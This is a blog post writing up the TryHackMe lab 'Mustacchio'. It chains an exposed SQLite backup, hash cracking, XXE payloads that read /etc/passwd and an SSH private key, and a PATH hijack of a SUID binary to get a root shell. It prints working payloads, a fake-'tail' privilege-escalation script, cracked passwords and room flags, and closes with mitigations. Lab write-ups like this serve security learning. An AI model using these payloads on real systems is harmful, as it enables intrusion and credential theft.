DEV Community

Farhan Hussain
Farhan Hussain

Posted on

I Used an XML Parser to Steal an SSH Private Key — Mustacchio (TryHackMe)

Platform: TryHackMe · Difficulty: Easy · Category: XXE Injection / SQLite Credential Leak / PATH Hijack

Introduction

Mustacchio is a barber shop themed box that hides its vulnerabilities with the same care the barber presumably puts into a clean shave — that is to say, not much. An exposed SQLite database in a JS directory, an admin panel on a non-standard port serving raw XML to a parser that trusts it completely, and a SUID binary that calls system utilities by name rather than by path. Each layer is independently preventable, and yet here we are. The box earns its difficulty from the chain length rather than the complexity of any individual step.

Recon

Full-range sweep with RustScan, Nmap for service and version fingerprinting:

rustscan -a 10.48.141.220 -r 1-65535 --ulimit 5000 -- -Pn -sC -sV
Enter fullscreen mode Exit fullscreen mode
Port Service Version
22/tcp SSH OpenSSH 7.2p2 Ubuntu 4ubuntu2.10
80/tcp HTTP Apache httpd 2.4.18 (Ubuntu)

Standard two ports on the first pass. The homepage is a barber shop landing page. Nmap flags one robots.txt disallowed entry: /, which disallows everything and reveals nothing useful.

Feroxbuster with PHP, HTML, and TXT extensions:

feroxbuster -u http://10.48.141.220 \
  -w /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt \
  -x php,txt,html
Enter fullscreen mode Exit fullscreen mode

Most results are images and font files — cosmetic noise. The one hit that matters:

200  http://10.48.141.220/custom/js/users.bak   # ^^^ database backup in a JS directory
Enter fullscreen mode Exit fullscreen mode

A .bak file sitting in a publicly browsable JavaScript directory is exactly as bad as it sounds.

file Downloads/users.bak
Enter fullscreen mode Exit fullscreen mode
SQLite 3.x database, last written using SQLite version 3034001
Enter fullscreen mode Exit fullscreen mode
sqlite3 Downloads/users.bak
sqlite> .dump
Enter fullscreen mode Exit fullscreen mode
CREATE TABLE users(username text NOT NULL, password text NOT NULL);
INSERT INTO users VALUES('admin','1868e36a6d2b17d4c2745f1659433a54d4bc5f4b');
Enter fullscreen mode Exit fullscreen mode

Username admin, password as an unsalted SHA1 hash.

hashcat -m 100 1868e36a6d2b17d4c2745f1659433a54d4bc5f4b /usr/share/wordlists/rockyou.txt
Enter fullscreen mode Exit fullscreen mode
1868e36a6d2b17d4c2745f1659433a54d4bc5f4b:bulldog19

Status: Cracked
Time: ~1 sec
Enter fullscreen mode Exit fullscreen mode

Admin password: bulldog19. SSH as admin was blocked immediately — the server only accepts publickey authentication. Rather than stalling, a second, deeper Nmap scan was run to check for services missed on the first pass:

nmap -sV -p- -T4 10.48.141.220
Enter fullscreen mode Exit fullscreen mode
8765/tcp open  ultraseek-http   # ^^^ missed on first scan
Enter fullscreen mode Exit fullscreen mode

Port 8765 — a non-standard HTTP port running nginx. admin:bulldog19 worked on a second login panel found there.

Foothold

The admin panel at port 8765 presents a single comment submission form. The POST body is a xml= parameter — a direct XML input. A JavaScript comment in the page source hints at /auth/dontforget.bak, and an HTML comment reads: Barry, you can now SSH in using your key!

Three useful signals: the parameter name, a backup file path, and a username.

cat Downloads/dontforget.bak
Enter fullscreen mode Exit fullscreen mode
<?xml version="1.0" encoding="UTF-8"?>
<comment>
  <name>Joe Hamd</name>
  <author>Barry Clad</author>
  <com>...</com>
</comment>
Enter fullscreen mode Exit fullscreen mode

The XML structure the parser expects is now known. When an application parses user-supplied XML and the parser has external entity processing enabled, an attacker can define a custom entity that references a file on the server's filesystem — effectively giving a file read primitive through the XML parser.

XXE payload to read /etc/passwd — confirming LFI:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<comment>
  <name>Joe Hamd</name>
  <author>Barry Clad</author>
  <com>&xxe;</com>
</comment>
Enter fullscreen mode Exit fullscreen mode

Sent via Burp Suite as a URL-encoded POST to /home.php. The response rendered the full /etc/passwd contents inside the comment preview, confirming XXE-to-LFI. Two user accounts confirmed: joe (uid 1002) and barry (uid 1003).

XXE payload escalated to read Barry's SSH private key:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///home/barry/.ssh/id_rsa" >]>
<comment>
  <name>Joe Hamd</name>
  <author>Barry Clad</author>
  <com>&xxe;</com>
</comment>
Enter fullscreen mode Exit fullscreen mode
# Response (truncated)
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,D137279D69A43E71BB7FCB87FC61D25E
jqDJP+blUr+xMlASYB9t4gFyMl9VugHQJAylGZE6J/b1nG57...
-----END RSA PRIVATE KEY-----
Enter fullscreen mode Exit fullscreen mode

Barry's encrypted SSH key extracted via the XML parser.

Shell / Access

ssh2john id_rsa > key.hash
john --wordlist=/usr/share/wordlists/rockyou.txt key.hash
Enter fullscreen mode Exit fullscreen mode
id_rsa:urieljames

1 password hash cracked, 0 left
Enter fullscreen mode Exit fullscreen mode

Passphrase: urieljames.

ssh barry@10.48.141.220 -i id_rsa
# Enter passphrase: urieljames
Enter fullscreen mode Exit fullscreen mode
barry@mustacchio:~$ cat user.txt
62d77a4d5f97d47c5aa38b3b2651b831
Enter fullscreen mode Exit fullscreen mode

Escalation

sudo -l failed — barry's sudo password isn't urieljames (the key passphrase is not the system password). On to SUID hunting.

find / -type f -perm -u=s 2>/dev/null
Enter fullscreen mode Exit fullscreen mode
/home/joe/live_log
Enter fullscreen mode Exit fullscreen mode

A SUID binary in another user's home directory, with a name suggesting it reads logs in real time.

strings /home/joe/live_log
Enter fullscreen mode Exit fullscreen mode
Live Nginx Log Reader
tail -f /var/log/nginx/access.log    # ^^^ relative path — no /usr/bin/tail
Enter fullscreen mode Exit fullscreen mode

When a program calls another program by name rather than by its full absolute path, the OS resolves the name by searching through the directories listed in $PATH, left to right, stopping at the first match. If an attacker can prepend a directory they control to $PATH and place a malicious executable with the same name there, the SUID binary will execute the malicious version — inheriting root privileges.

# Create fake tail that stamps SUID onto a bash copy
echo -e '#!/bin/bash\ncp /bin/bash /tmp/bash\nchmod +s /tmp/bash' > /tmp/tail
chmod +x /tmp/tail

# Prepend /tmp to PATH so our fake tail is found first
export PATH=/tmp:$PATH

# Trigger the SUID binary — it calls tail, finds ours first
/home/joe/live_log
Enter fullscreen mode Exit fullscreen mode
Live Nginx Log Reader
Enter fullscreen mode Exit fullscreen mode
/tmp/bash -p
Enter fullscreen mode Exit fullscreen mode
bash-4.3# whoami
root
Enter fullscreen mode Exit fullscreen mode
cat /root/root.txt
Enter fullscreen mode Exit fullscreen mode
3223581420d906c4dd1a5f9b530393a5
Enter fullscreen mode Exit fullscreen mode

Exploitation — The Full Chain

  1. users.bak SQLite database exposed in /custom/js/ → admin:SHA1 hash
  2. Hashcat cracked unsalted SHA1 → bulldog19
  3. Port 8765 (missed on first scan) → nginx admin panel, admin:bulldog19 worked
  4. XXE injection on XML POST parameter → LFI confirmed via /etc/passwd
  5. XXE escalated to read /home/barry/.ssh/id_rsa → encrypted SSH key extracted
  6. John the Ripper cracked SSH key passphrase → urieljames
  7. SSH as barry → user flag
  8. SUID binary /home/joe/live_log calls tail with relative path
  9. PATH hijack → fake tail in /tmp → SUID bash spawned
  10. /tmp/bash -p → root shell → root flag

Rabbit Holes

SSH as admin. After cracking bulldog19, the most obvious next step was SSH as admin. The server rejected it immediately: Permission denied (publickey). The admin account has no password authentication enabled, only publickey. The credentials were valid, just for the wrong service. Port 8765's admin panel was the actual target.

John the Ripper failing on the SHA1 hash. john was tried first and returned no results — the hash was already in John's potfile from a previous session, causing it to skip silently. Switching to Hashcat with -m 100 cracked it immediately. When John says "No password hashes left to crack," it often means the hash was already cracked in a prior run — always check john --show hash.txt before concluding the password is uncrackable.

Flags

Flag Value Location
User 62d77a4d5f97d47c5aa38b3b2651b831 /home/barry/user.txt
Root 3223581420d906c4dd1a5f9b530393a5 /root/root.txt

Mitigations

Vulnerability Severity Mitigation
Database backup exposed in web-accessible directory Critical Never store backup files under the webroot; move to a restricted off-web location and disable directory listing
Unsalted SHA1 password hash High Use bcrypt, Argon2, or PBKDF2 for password storage; SHA1 is a digest algorithm, not a password hash
XXE injection via unsanitised XML parser Critical Disable external entity processing in the XML parser; validate and sanitise all XML input
SSH private key readable via LFI High Restrict .ssh/ permissions to 700 and id_rsa to 600
SUID binary calling utilities by relative path Critical Always use absolute paths for system calls inside privileged binaries; audit all SUID binaries regularly
Admin panel on non-standard port with no rate limiting Medium Apply rate limiting and account lockout to all login endpoints regardless of port

Key Takeaway

XXE is not just an academic vulnerability — when a web application parses XML and reflects the output, a single malicious DOCTYPE declaration can turn the XML parser into a filesystem reader. Disabling external entities should be the default, not an afterthought.


Room: TryHackMe — Mustacchio

Top comments (0)